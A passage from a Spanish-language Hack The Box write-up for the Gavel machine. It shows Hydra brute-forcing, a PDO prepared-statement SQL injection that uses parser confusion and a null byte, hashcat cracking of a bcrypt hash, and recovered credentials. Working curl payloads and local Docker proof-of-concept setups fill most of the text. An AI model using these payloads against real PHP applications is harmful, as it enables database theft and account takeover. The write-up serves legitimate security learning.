-I Indica a Hydra que ignore sesiones anteriores y parta de 0
-f Detiene la ejecución tras encontrar la primera credencial válida
1
2
3
4
[80][http-post-form] host: gavel.htb   login: auctioneer   password: midnight1
[STATUS] attack finished for gavel.htb (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-07 21:38:34

Tras 57892 peticiones ha encontrado unas credenciales válidas auctioneer:midnight1.

Estas credenciales pertenecen al user_id=1, y como ya habíamos predicho al principio, este usuario tiene el rol auctioneer. Con estas credenciales ya podemos acceder a admin.php y por tanto el vector de ataque para llegar al RCE es explotable.

Admin Panel php web

SQLi Para Extraer la Credencial del Usuario Auctioneer (Descubierto a Posteriori)

Por norma general el desarrollador ha utilizado la librería PDO para pasar los parámetros utilizados en las consultas SQL a través de placeholders, es decir, está utilizando consultas parametrizadas.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
if ($sortItem === 'quantity') {
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
$stmt->execute([$userId]);
} else {
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
}
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
$results = [];
}

Pero cuando analizamos este fragmento de código, a mí parecer está pidiendo a gritos que explotemos una posible SQLi en campo $col, ya que solo se realiza una pequeña sanitización que reemplaza los backticks. ¿Será suficiente?

Consultas Parametrizadas

Lo primero que necesitamos entender es: ¿Qué es una consulta parametrizada?

Básicamente el objetivo de una consulta parametrizada es separar la consulta del input (generalmente input dado por el usuario) y pasarlo en forma de parámetros al motor SQL para que este lo inyecte en la consulta parametrizada en tiempo de ejecución, donde será tratado como un dato literal, evitando que el motor SQL interprete el input como sintaxis SQL.

¿Se pueden pasar estos parámetros en cualquier punto de la consulta?

No, de ahí que el desarrollador NO pase $col a través de un placeholder, los campos que sean identificadores como columnas, tablas, campos, etc., no se pueden pasar de esta forma, ya que el motor SQL los necesita ejecutar como lenguaje SQL.

IMPORTANTE, En PDO con MYSQL tiene activado por defecto el modo PDO::ATTR_EMULATE_PREPARES.

¿Qué Peligro tiene esto? En el modo de emulación el comportamiento difiere. El propio PDO con su parser CUSTOM inyecta los parámetros en sus respectivos placeholders, enviando al motor SQL la query final ya construida.

¿Es la sanitización suficiente?

En un primer momento al escapar los backticks nunca vas a poder cerrar el identificador, por lo que vas a generar un error y aunque escapes el ` final no vas a poder volver a cerrarlo con otro ` ya que str_replace() te lo va a reemplazar.

He creado un pequeño script en PHP que te pide el valor del parámetro $col y que devuelve la consulta que se utilizaría en el motor SQL, nos sirve para hacernos una idea de la sintaxis de nuestra inyección y como str_replace() cumple su función.

1
2
3
4
5
6
7
<?php
$sortItem= readline('Enter sqli: ');
$userId=1; // Recordad que aunque tengamos control de UserId este se pasa como parámetro, así que ahí no podemos explotarlo
$col = "`" . str_replace("`", "", $sortItem) . "`";
$stmt = "SELECT $col FROM inventory WHERE user_id = $userId ORDER BY item_name ASC";
echo $stmt;
?>

Para simular el entorno de gavel en local nos podemos crear un contenedor con docker y crear una pequeña réplica de los componentes de la bd que se utilizan en la consulta a testear.

Schema.sql:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
CREATE DATABASE IF NOT EXISTS gavel;
USE gavel;

DROP TABLE IF EXISTS inventory;

CREATE TABLE inventory (
user_id INT NOT NULL,
item_id INT NOT NULL,
item_name VARCHAR(255) NOT NULL,
item_image VARCHAR(255) NOT NULL,
item_description TEXT NOT NULL,
quantity INT NOT NULL DEFAULT 1,
PRIMARY KEY (user_id, item_id)
);

INSERT INTO inventory (user_id, item_id, item_name, item_image, item_description, quantity) VALUES
(1, 15, 'Helmet of Thought Suppression', 'helmet.jpg',
'Eliminates intrusive thoughts. Also regular ones. Side effect: forgets how to remove helmet.', 1);

Dockerfile:

1
2
3
FROM mysql:8.4

COPY ./schema.sql /docker-entrypoint-initdb.d/01_schema.sql

Construir nuevo contenedor:

1
docker build -t gavel-mysql .
1
2
3
4
5
docker run -d --name gavel-mysql \
-e MYSQL_ROOT_PASSWORD='<your_password>' \
-p 127.0.0.1:3306:3306 \
-v gavel_mysql_data:/var/lib/mysql \
gavel-mysql

Una consulta sin inyección con un identificador real como item_name:

1
2
3
php sqli_simulator.php
Enter sqli: item_name
SELECT `item_name` FROM inventory WHERE user_id = 1 ORDER BY item_name ASC;

Esta consulta retornaría:

1
2
3
4
5
6
7
MySQL [gavel]> SELECT `item_name` FROM inventory WHERE user_id = 1 ORDER BY item_name ASC;
+-------------------------------+
| item_name |
+-------------------------------+
| Helmet of Thought Suppression |
+-------------------------------+
1 row in set (0.001 sec)

Lo que nosotros querríamos sería utilizar un backtick para cerrar el identificador e inyectar nuestro SQL malicioso, el payload sería tal que item_name` @@version FROM inventory;#:

1
2
3
4
5
6
7
MySQL [gavel]> SELECT `item_name`, @@version FROM inventory;#` FROM inventory WHERE user_id = 1 ORDER BY item_name ASC;
+-------------------------------+-----------+
| item_name | @@version |
+-------------------------------+-----------+
| Helmet of Thought Suppression | 8.4.7 |
+-------------------------------+-----------+
1 row in set (0.000 sec)

Aquí se puede ver que se ha completado la inyección, mostrándonos la versión de MySQL, pero claro el desarrollador filtra `, por lo que debemos utilizar el simulador para ver cómo quedaría la query con el mismo payload:

1
2
3
❯ php sqli_simulator.php
Enter sqli: item_name` @@version FROM inventory;#
SELECT `item_name @@version FROM inventory;#` FROM inventory WHERE user_id = 1 ORDER BY item_name ASC

Si utilizamos la consulta vemos que al no poder cerrar el identificador lo trata como si fuese el nombre de la columna, retornando un error. Naturalmente la columna con nombre item_name @@version FROM inventory;# no existe:

1
2
mysql> SELECT `item_name @@version FROM inventory;#` FROM inventory WHERE user_id = 1 ORDER BY item_name ASC;
ERROR 1054 (42S22): Unknown column 'item_name @@version FROM inventory;#' in 'field list'

Así que tras multitud de intentos para evadir el filtro concluí que no era explotable, ya que no se puede evadir el filtro de ninguna manera.

Vulnerabilidad en el Parser de PDO

Voy a analizar la vulnerabilidad con una PoC en local para intentar entender el porqué de esta. Me he apoyado en el magnífico post A Novel Technique for SQL Injection in PDO’s Prepared Statements por hash_kitten, para una explicación más a bajo nivel os recomiendo leer su post.

PoC PDO Parser

Para recrear la vulnerabilidad en local me he basado en el código fuente de Gavel, pero en este caso retornará los errores generados por MYSQL o PDO. Básicamente esto nos ayuda a entender mejor qué está pasando por detrás y no ir a ciegas, que suele ser lo complicado de este tipo de vulnerabilidades.

Estructura de los archivos necesarios para la PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tree -a
.
├── docker-compose.yml
├── mysql
│   ├── Dockerfile
│   ├── conf.d
│   │   └── general-log.cnf
│   └── schema.sql
└── php
├── Dockerfile
└── src
├── includes
│   ├── config.php
│   └── db.php
└── inventory.php

./php/Dockerfile:

1
2
3
4
5
FROM php:<version_para_testear>-apache

RUN docker-php-ext-install pdo pdo_mysql

COPY ./src/ /var/www/html/

Podemos elegir la versión de la imagen del servidor PHP en función de que parser de PDO queramos utilizar.

Versión utilizada en gavel: php:7.4.33-apache
Versión que necesita nullbyte para ser explotada: php:8.4-apache

./php/src/includes/config.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

define('DB_HOST', 'db');
define('DB_NAME', 'gavel');
define('DB_USER', 'root');
define('DB_PASS', '<your_pass>');

define('ROOT_PATH', dirname(__DIR__));

$basePath = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/');
define('BASE_URL', $basePath);
define('ASSETS_URL', $basePath . '/assets');

?>

./php/src/includes/db.php:

1
2
3
4
5
6
7
8
9
10
<?php
require_once __DIR__ . '/config.php';
try {
$pdo = new PDO("mysql:host=" . DB_HOST . ";dbname=" . DB_NAME, DB_USER, DB_PASS);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);
} catch (PDOException $e) {
die("Database connection failed.");
}
?>

./php/src/Inventory.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
require_once __DIR__ . "/includes/db.php";

$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? '1';

$col = "`" . str_replace("`", "", $sortItem) . "`";

try {
if ($sortItem === 'quantity') {
$sql = "SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC";
$params = [$userId];
} else {
$sql = "SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC";
$params = [$userId];
}

$stmt = $pdo->prepare($sql);
$stmt->execute($params);

$results = $stmt->fetchAll(PDO::FETCH_ASSOC);

echo "=== RESULT ===\n";
print_r($results);

} catch (Throwable $e) {
echo "=== ERROR (" . get_class($e) . ") ===\n";
echo $e->getMessage() . "\n";

if (isset($stmt) && $stmt instanceof PDOStatement) {
echo "\nPDOStatement::errorInfo():\n";
print_r($stmt->errorInfo());
}
}

?>

./mysql/Dockerfile:

1
2
3
FROM mysql:8.4
COPY ./schema.sql /docker-entrypoint-initdb.d/01_schema.sql
COPY ./conf.d/*.cnf /etc/mysql/conf.d/

./mysql/schema.sql:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
CREATE DATABASE IF NOT EXISTS gavel;
USE gavel;

DROP TABLE IF EXISTS inventory;

CREATE TABLE inventory (
user_id INT NOT NULL,
item_id INT NOT NULL,
item_name VARCHAR(255) NOT NULL,
item_image VARCHAR(255) NOT NULL,
item_description TEXT NOT NULL,
quantity INT NOT NULL DEFAULT 1,
PRIMARY KEY (user_id, item_id)
);

INSERT INTO inventory (user_id, item_id, item_name, item_image, item_description, quantity) VALUES
(1, 15, 'Helmet of Thought Suppression', 'helmet.jpg',
'Eliminates intrusive thoughts. Also regular ones. Side effect: forgets how to remove helmet.', 1);

./mysql/conf.d/general-log.cnf

1
2
3
4
[mysqld]
general_log=ON
log_output=FILE
general_log_file=/var/lib/mysql/mysql-general.log

Utilizamos esta configuración para guardar los logs que llegan a la bd en un archivo y así poder consultarlo para ver la consulta final que llega a la BD. PDO no permite ver la query antes de lanzarla al motor SQL.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
version: "3.9"

services:
db:
build: ./mysql
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: gavel
ports:
- "127.0.0.1:3306:3306"
volumes:
- dbdata:/var/lib/mysql

db-log:
image: busybox:1.36
depends_on:
- db
volumes:
- dbdata:/var/lib/mysql:ro
command: ["sh", "-lc", "tail -F /var/lib/mysql/mysql-general.log"]

web:
build: ./php
environment:
DB_HOST: db
DB_NAME: gavel
DB_USER: root
DB_PASS: root
ports:
- "127.0.0.1:8000:80"
depends_on:
- db

volumes:
dbdata:

Este docker compose levanta tres servicios:

db y web: MySQL funciona como el bloque persistente (los datos se guardan en el volumen dbdata y no se pierden al reiniciar). Tanto la base de datos como el servidor se exponen solo en local (127.0.0.1), así que si estáis conectados a la VPN HTB no deberíais preocuparos de que los servicios estén expuestos.

db-log: es un contenedor auxiliar (Utiliza BusyBox) que monta el mismo volumen dbdata en solo lectura y ejecuta un tail -F sobre mysql-general.log para mostrar en tiempo real las consultas/actividad que MySQL va escribiendo en ese log. Esto nos ayuda a ver cuál es la consulta final que llega al motor

Sobre el directorio padre podemos desplegar/bajar con los siguientes comandos:

1
docker compose up
1
docker compose down
PHP 7.4.33

En concreto esta es la versión de PHP que se está ejecutando en el servidor, es algo que a primera vista no podemos saber. Durante el recon no hemos visto ninguna cabecera o código que nos muestre la versión de PHP utilizada.

PDO en esta versión no tiene un parser custom para mysql, por lo que utiliza uno genérico, pdo_sql_parser.re:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static int scan(Scanner *s)
{
char *cursor = s->cur;

s->tok = cursor;
/*!re2c
BINDCHR = [:][a-zA-Z0-9_]+;
QUESTION = [?];
ESCQUESTION = [?][?];
COMMENTS = ("/*"([^*]+|[*]+[^/*])*[*]*"*/"|"--"[^\r\n]*);
SPECIALS = [:?"'-/];
MULTICHAR = [:]{2,};
ANYNOEOF = [\001-\377];
*/

/*!re2c
(["](([\\]ANYNOEOF)|ANYNOEOF\["\\])*["]) { RET(PDO_PARSER_TEXT); }
(['](([\\]ANYNOEOF)|ANYNOEOF\['\\])*[']) { RET(PDO_PARSER_TEXT); }
MULTICHAR { RET(PDO_PARSER_TEXT); }
ESCQUESTION { RET(PDO_PARSER_ESCAPED_QUESTION); }
BINDCHR { RET(PDO_PARSER_BIND); }
QUESTION { RET(PDO_PARSER_BIND_POS); }
SPECIALS { SKIP_ONE(PDO_PARSER_TEXT); }
COMMENTS { RET(PDO_PARSER_TEXT); }
(ANYNOEOF\SPECIALS)+ { RET(PDO_PARSER_TEXT); }
*/
}

Cuando PDO necesita entender qué es cada carácter de la consulta y cómo debe comportarse recurre a este parser. ¿El problema? Muy simple, este no contempla los identificadores en MySQL. Todo el contenido de un identificador debería tratarse como texto. Si la consulta tuviese un identificador como este `columna1?`, el parser de PDO debería detectar que está entre ` y por tanto que es un identificador MySQL, interpretándose todo el contenido como texto, evitando que ? se trate como un placeholder válido. De ahí la importancia de tener un parser custom para cada motor SQL, esto se ha implementado en versiones futuras. (Con otra vulnerabilidad que explico más adelante).

Desplegamos el entorno que os he compartido con la imagen php:7.4.33-apache.

Realizamos una petición con curl utilizando parámetros que la aplicación utilizaría por defecto:

1
❯ curl -s -X POST --data-urlencode 'sort=Item_name' --data-urlencode 'user_id=1' 'http://127.0.0.1:8000/inventory.php'
1
2
3
4
5
6
7
8
9
=== RESULT ===
Array
(
[0] => Array
(
[Item_name] => Helmet of Thought Suppression
)

)

El parser ha podido construir la consulta, ha interpretado item_name como texto, y ha inyectado el parámetro user_id en el único placeholder ? existente.

¿Qué pasaría si en vez de item_name le pasamos item_name??:

1
curl -s -X POST --data-urlencode 'sort=Item_name?' --data-urlencode 'user_id=1' 'http://127.0.0.1:8000/inventory.php'
1
2
3
4
5
6
7
8
9
10
=== ERROR (PDOException) ===
SQLSTATE[HY093]: Invalid parameter number: number of bound variables does not match number of tokens

PDOStatement::errorInfo():
Array
(
[0] => HY093
[1] =>
[2] =>
)

PDO nos ha devuelto una excepción a la hora de construir la consulta, nos dice que el número de placeholders vs el número de parámetros no encaja. PDO ve que solo tiene un parámetro $userId, pero detecta que tiene dos puntos para inyectarlo. ¿Conclusión? ¡Nuestro ? inyectado se está interpretando como un placeholder válido!

Esto es bastante peligroso, ¿por qué? Porque si recordáis lo único que está haciendo que $col no sea explotable es que str_replace() nos está escapando los backticks, por lo que no podíamos cerrar el identificador. Pero sobre $userId no se está realizando sanitización alguna, por lo que si podemos engañar a PDO para que no vea el último placeholder el contenido del parámetro user_id se inyectará en nuestro custom placeholder, es decir, si user_id=teleport y $col=Item_name?, la consulta que PDO construiría sería tal que:

1
SELECT `Item_name'teleport'` FROM inventory WHERE user_id = ? ORDER BY item_name ASC

Sabiendo esto tenemos una SQLi de manual, simplemente tendríamos que conseguir cerrar el identificador desde user_id y que PDO ignore el segundo placeholder.

Intentamos cerrar el identificador con sort=item_name?; -- y user_id=`

1
curl -s -X POST --data-urlencode 'sort=item_name?; --' --data-urlencode 'user_id=`' 'http://127.0.0.1:8000/inventory.php'
1
2
3
4
5
6
7
8
9
10
=== ERROR (PDOException) ===
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''; --` FROM inventory WHERE user_id = ? ORDER BY item_name ASC' at line 1

PDOStatement::errorInfo():
Array
(
[0] => 42000
[1] => 1064
[2] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''; --` FROM inventory WHERE user_id = ? ORDER BY item_name ASC' at line 1
)

Aquí PDO nos está diciendo que tenemos un error de sintaxis, ya que la consulta ha quedado tal que:

1
SELECT `item_name'`''; --` FROM inventory WHERE user_id = ? ORDER BY item_name ASC

PDO interpreta el parámetro user_id como una string, por lo que el contenido de user_id lo pasa entrecomillado. Si sort=Item_name y user_id=1 en una consulta sin explotar quedaría tal que:

1
SELECT `Item_name` FROM inventory WHERE user_id = '1' ORDER BY item_name ASC

Pero al hacer sort=Item_name? y user_id=1, quedaría:

1
SELECT `Item_name'1'` FROM inventory WHERE user_id = ? ORDER BY item_name ASC

Esto fallará, ya que PDO sigue viendo el segundo placeholder, y solo le hemos dado un parámetro que ya ha inyectado en nuestro custom ?.

Teniendo en cuenta estos detalles ya deberíamos saber todo lo necesario para construir un payload válido y generar una consulta correcta a nivel de sintaxis:

  1. Necesitamos inyectar un custom placeholder sobre $sort para confundir al parser de PDO y que nos inyecte el payload de user_id donde queremos.
  2. Debemos hacer que PDO ignore el placeholder original. Esto se podría conseguir utilizando un comentario válido para el parser, en este caso --.
  3. Tener en cuenta que el payload localizado en user_id se inyectará entrecomillado, por lo que el identificador de la columna será 'loquesea y habrá una comilla al final de nuestro payload que habrá que intentar ignorar.

La consulta a la que querríamos llegar sería tal que:

1
SELECT `'version` FROM (select @@version as `'version`)sqli;--'; --` FROM inventory WHERE user_id = ? ORDER BY item_name ASC

user_id Payload: version` FROM (select @@version as `'version`)sqli;--

En qué consiste el payload:

Elemento Payload Objetivo
Identificador de columna version version será el identificador de columna que al inyectarse como string, pasa a verse como 'version.
Subconsulta + alias FROM (...) sqli Se mete una subquery dentro del FROM y se le pone alias sqli (equivalente a FROM (query) AS sqli).
Subquery y meter output en la columna select @@version as \`'version` Devuelve la versión de MySQL y renombra la columna del resultado como 'version. Provocando que el select 'version exterior referencie a esa columna
Comentario ; -- Cierra la consulta y comenta el resto, tiene como objetivo ignorar el ' que cerraba el contenido de user_input

Sort Payload: \? --

Elemento Payload Objetivo
Escape \ Nos sirve para escapar la comilla inicial de 'versión, dando lugar al nombre de tabla \'version –> 'version. Básicamente evita que SQL interprete como carácter reservado y la interprete como texto.
Custom Placeholder ? Posiciona en qué lugar de $sort vamos a inyectar el contenido de user_id
Comentario -- Tiene como objetivo comentar el resto de la query, evitando que PDO lea el placeholder original

Este conjunto de payloads conseguirá que PDO genere una consulta válida y se la envíe al motor SQL:

1
SELECT `\'version` FROM (select @@version as `\'version`)sqli;

Output:

1
2
3
4
5
6
MySQL [gavel]> SELECT `\'version` FROM (select @@version as `\'version`)sqli;--
+-----------+
| \'version |
+-----------+
| 8.4.7 |
+-----------+
PDO parser >= PHP 8.4

Desde PHP 8.4 la librería PDO implementa un parser custom para cada motor. En nuestro caso estamos interesados en el parser de MySQL, mysql_sql_parser.re:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int pdo_mysql_scanner(pdo_scanner_t *s)
{
const char *cursor = s->cur;

s->tok = cursor;
/*!re2c
BINDCHR = [:][a-zA-Z0-9_]+;
QUESTION = [?];
COMMENTS = ("/*"([^*]+|[*]+[^/*])*[*]*"*/"|(("--"[ \t\v\f\r])|[#]).*);
SPECIALS = [:?"'`/#-];
MULTICHAR = ([:]{2,}|[?]{2,});
ANYNOEOF = [\001-\377];
*/

/*!re2c
(["]((["]["])|([\\]ANYNOEOF)|ANYNOEOF\["\\])*["]) { RET(PDO_PARSER_TEXT); }
(['](([']['])|([\\]ANYNOEOF)|ANYNOEOF\['\\])*[']) { RET(PDO_PARSER_TEXT); }
([`]([`][`]|ANYNOEOF\[`])*[`]) { RET(PDO_PARSER_TEXT); }
MULTICHAR { RET(PDO_PARSER_TEXT); }
BINDCHR { RET(PDO_PARSER_BIND); }
QUESTION { RET(PDO_PARSER_BIND_POS); }
SPECIALS { SKIP_ONE(PDO_PARSER_TEXT); }
COMMENTS { RET(PDO_PARSER_TEXT); }
(ANYNOEOF\SPECIALS)+ { RET(PDO_PARSER_TEXT); }
*/
}

La gran diferencia frente al otro parser es que ahora sí que tiene en cuenta los identificadores de MySQL, por lo que el contenido entre backticks lo interpreta como texto, `Item_name?`, por lo que en este caso ? no será identificado como un placeholder válido.

Al igual que en la anterior PoC podemos probar este parser, lo único que tendríamos que cambiar es el dockerfile de PHP, indicándole que utilice la imagen php:8.4-apache.

Vamos a entender cómo funciona este nuevo parser, partimos de que el identificador es test?. El parser de PDO lo va a identificar como text, ya que cumple la regex para identificadores:

1
2
3
ANYNOEOF = [\001-\377];

([`]([`][`]|ANYNOEOF\[`])*[`]) { RET(PDO_PARSER_TEXT); }
  1. Está contenido entre backticks.
  2. Cada byte está dentro del rango [\001-\377]), es decir, cualquier byte entre 1 y 255 en decimal o 0x01 a 0xff en hexadecimal.

Vamos a analizar paso a paso que haría el parser al ver el primer backtick de `test?`:

  1. Llega al caso special [:?"'`/#-], ve que el backtick cumple con uno de los caracteres definidos ` y al solo aceptar 1 byte de longitud guarda que la regla se cumple y su longitud de coincidencia.
  2. Prueba el caso de contenido dentro de backticks ([`]([`][`]|ANYNOEOF\[`])*[`]), y va leyendo byte a byte, en este caso el primer byte encaja, el `, el segundo byte t (octal 164), e (octal 145), s (oct 163), t (oct 164), ? (oct 077) y el ` final. Como todos los bytes están dentro del rango [1..377], el parser también marca como que la regex coincide.
  3. Como el parser está utilizando re2c, en caso de que más de una regex se cumpla utilizará la regla que más bytes tenga, en este caso el texto entre backticks, (un identificador sql).

Pero aquí es donde entra en juego el null byte (oct 000). Vamos a analizar cómo se comportaría el parser cuando se utiliza el nullbyte dentro de $col. El payload será test?\0, donde \0 representa al nullbyte 0x00:

  1. Llega al caso special [:?"'`/#-], ve que el backtick cumple con uno de los caracteres definidos ` y al solo aceptar 1 byte de longitud guarda que la regla se cumple y su longitud de coincidencia.
  2. Prueba el caso de contenido dentro de backticks (identificador en mysql) ([`]([`][`]|ANYNOEOF\[`])*[`]), y va leyendo byte a byte, en este caso el primer byte encaja, el `, el segundo byte t (octal 164), e (octal 145), s (oct 163), t (oct 164), ? (oct 077), \0 (oct 000) este byte no está dentro del rango definido en ANYNOEOF, por lo que la regex no coincide. El parser vuelve a la última regla que coincide gracias a re2c, en este caso, la regex de special.
  3. Special parsea el primer backtick y hace SKIP_ONE(PDO_PARSER_TEXT); y pasa al siguiente carácter, ANYNOEOF\SPECIALS)+ { RET(PDO_PARSER_TEXT); } Así hasta llegar al ?, el cual coincide con la regex question [?] y special [:?"'`/#-], ambas son coincidencias de longitud de 1 byte, por lo que gana la primera definida, en este caso question y hace RET(PDO_PARSER_BIND_POS); por tanto lo considera un placeholder válido.
  4. Lo siguiente que ve es el null byte por lo que el parser no sabe cómo interpretarlo y simplemente salta como texto y pasa al siguiente carácter. Al terminar de parsear la consulta resultante con test? determina que no es correcta, por lo que devuelve un error.

¿Qué estamos logrando en la consulta?

1
SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC;

Con el input sortItem=`test?` y user_id=1 el parser funciona correctamente, y solo ve el placeholder correspondiente al user_id = ?, por lo que el parse inyectará cada parámetro en sus respectivo lugar:

1
SELECT `test?` FROM inventory WHERE user_id = '1' ORDER BY item_name ASC;

Lanzamos la petición:

1
2
3
curl -X POST --data-raw 'sort=test?' \
--data-urlencode "user_id=1;" \
'http://127.0.0.1:8000/inventory.php' --output -

Nos indica que la columna con identificador test? no existe:

1
2
3
4
5
6
7
8
9
10
=== ERROR (PDOException) ===
SQLSTATE[42S22]: Column not found: 1054 Unknown column 'test?' in 'field list'

PDOStatement::errorInfo():
Array
(
[0] => 42S22
[1] => 1054
[2] => Unknown column 'test?' in 'field list'
)

Sin embargo, con el input sortItem=`test?\0` y user_id=1 hemos conseguido burlar al parser para que nos interprete la ? de sortItem como otro placeholder, por lo que la query quedará tal que:

1
SELECT `test'1'` FROM inventory WHERE user_id = ? ORDER BY item_name ASC;

%00 equivale al nullbyte en formato urlencodeado. Lanzamos la petición:

1
2
3
curl -X POST --data-raw 'sort=test?%00' \
--data-urlencode "user_id=1;" \
'http://127.0.0.1:8000/inventory.php' --output -
1
2
3
4
5
6
7
8
9
10
=== ERROR (PDOException) ===
SQLSTATE[HY093]: Invalid parameter number: number of bound variables does not match number of tokens

PDOStatement::errorInfo():
Array
(
[0] => HY093
[1] =>
[2] =>
)

Obviamente la construcción de la consulta fallará, ya que PDO ha detectado dos placeholders, y solo tiene un parámetro en el array.

1
$stmt->execute([$userId]);

Aunque ahora el parser de MySQL considere los identificadores, hemos visto que podemos volver a explotar la vulnerabilidad abusando del nullbyte. Siguiendo la misma metodología anterior generamos el payload:

user_id=version` FROM (select @@version as `'version`)sqlinullbyte;--
sort=sort=\?-- \0

Añadimos un espacio entre -- y \0 ya que el parser necesita un espacio en blanco después de -- para considerarlo comentario ("--"[ \t\v\f\r])

Que transformándolo a un curl sería:

1
curl -X POST --data-raw 'sort=\?-- %00' --data-urlencode "user_id=version\` FROM (select @@version as \`'version\`)sqlinullbyte;--" 'http://127.0.0.1:8000/inventory.php' --output -
1
2
3
4
5
6
7
8
9
=== RESULT ===
Array
(
[0] => Array
(
[\'x] => 8.4.7
)

)
SQLi nullbyte result
Explotación Sobre Gavel

Una vez entendida la vulnerabilidad ya podemos pasar a explotarla sobre Gavel. Se podría intuir que la versión de PHP utilizada en el servidor es < 8.4 por la utilización de runkit_function_add(), la que no está del todo implementada en 8.4. Así que de primeras probamos la explotación para el parser < 8.4.

Generar la request vulnerable:

UI Set Malicious Rule

Confeccionamos el payload para extraer la versión de la BD.

user_id=version` FROM (select @@version as `'version`)sqligavel;--
sort=\? --

UI Set Malicious Rule

Hemos confirmado la explotación de la SQLi en Gavel.

Ahora debemos encontrar en la base de datos unas credenciales de un usuario con el rol auctioneer. Como tenemos acceso al código podemos buscar tablas interesantes.

Register.php:

1
$stmt = $pdo->prepare("INSERT INTO users (username, password, role, created_at, money) VALUES (:username, :password, :role, :created_at, :money)");

Se puede observar que existe una tabla llamada users, con las columnas username, password, role.

Adaptamos nuestro payload contenido en user_id para extraerlas:

Raw:

1
user_id=username`, `password`, `role` FROM (SELECT username as `'username`, password, role from users)sqligavel;--&sort=\? --

Url Encoded:

1
user_id=username%60%2c%20%60password%60%2c%20%60role%60%20FROM%20(SELECT%20username%20as%20%60'username%60%2c%20password%2c%20role%20from%20users)sqligavel%3b--&sort=\?+--
UI Set Malicious Rule

Como se puede apreciar solo estamos viendo una columna, en este caso la primera, username. Esto sucede ya que el PHP solo saca el valor de las filas de la primera columna array_keys($row)[0].

1
2
3
4
5
foreach ($results as $row) {
$firstKey = array_keys($row)[0];
$name = $row['item_name'] ?? $row[$firstKey] ?? null;
....
}

Podemos ir haciendo select utilizando solo una columna o una manera más elegante sería concatenar las tres columnas sobre una única columna, opto por la segunda.

user_id=concatall` FROM (SELECT CONCAT(username, password, role) as `'concatall` from users)sqligavel;--

Raw:

1
user_id=concatall` FROM (SELECT CONCAT(username, password, role) as `'concatall` from users)sqligavel;--&sort=\? --

UrlEncode:

1
user_id=concatall%60%20FROM%20(SELECT%20CONCAT(username%2c%20password%2c%20role)%20as%20%60'concatall%60%20from%20users)sqligavel%3b--&sort=\?+--
SQLi Concat username password role

Como podemos ver el usuario auctioneer, tiene el rol auctioneer, por lo que son las credenciales que buscábamos.

1
auctioneer$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfSauctioneer
Crack Hash

Para crackear el hash necesitamos saber su tipo, podemos utilizar hashid:

1
hashid '$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS'

Output:

1
2
3
4
Analyzing '$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt

Nos devuelve tres posibles coincidencias, como vamos a utilizar hashcat para crackear la pass buscamos el identificador de bcrypt en Hashcat Examples.

Hash-Mode Hash-Name Example
3200 bcrypt $2*$, Blowfish (Unix) $2a$05$LhayLxezLhK1LhWvKxCyLOj0j1u.Kj0jZ0pEmm134uzrQlFvQJLF6

Guardamos el hash dentro del archivo hash_auctioneer.txt

1
echo '$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS' >> hash_auctioneer.txt

Hashcat Command:

1
hashcat -a 0 -m 3200 hash_auctioneer.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt --status
Parámetro Función
-a 0 Modo de ataque diccionario (wordlist).
-m 3200 Tipo de hash bcrypt.
hash_auctioneer.txt Archivo que contiene el hash a crackear
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt Wordlist para el ataque de fuerza bruta
--status Muestra el estado/progreso periódicamente durante el cracking.

Output:

1
2
3
[...]
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1
[...]

¡Contraseña crackeada!

Construyendo el Payload

Una vez ya hemos obtenido un usuario con el rol auctioneer podemos pasar a explotar el RCE que habíamos detectado en el análisis de código.

runkit_function_add Demo

